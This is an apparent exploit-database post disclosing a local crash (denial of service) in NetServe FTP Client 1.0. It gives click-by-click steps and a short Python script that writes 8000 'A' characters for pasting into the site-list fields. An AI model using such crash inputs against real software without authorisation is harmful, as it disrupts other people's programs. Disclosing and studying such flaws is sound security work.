NetServe FTP Client 1.0 Local Buffer Overflow Exploit

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# Exploit Title: NetServe FTP Client 1.0 DOS (Overflow).
# Date: 8/12/2015
# Exploit Author: Un_N0n
# Software Link:  http://netserve-ftp-client.en.softonic.com/
# Version: Version 1.0.0 
# Tested on: Windows 7 x64(64 BIT)
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[Steps to Produce the Crash]:
1- Open up NetServeFTPClient.exe
2- Click on 'Site List'.
3- Select any Directory and Click on NEW.
4- In the Fields like NAME, FTP_PATH, Username, Password Paste in the Junk Produced by PY script given Below.
Program will crash saying 'Run Time Error (6), Overflow'.

[Reason?]
Acc to MSDN:"An overflow results when you try to make an assignment that exceeds the limitations of the target of the assignment."
REF for More Info: https://msdn.microsoft.com/en-us/library/aa264525(v=vs.60).aspx


[Code to produce evil bleh.txt ;)]: 
data = "\x41" * 8000
file = open("bleh.txt","w")
file.write(data)
file.close()

[Link for Software: ]
http://netserve-ftp-client.esoftfinder.com/download/
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#  0day.today [2018-01-09]  #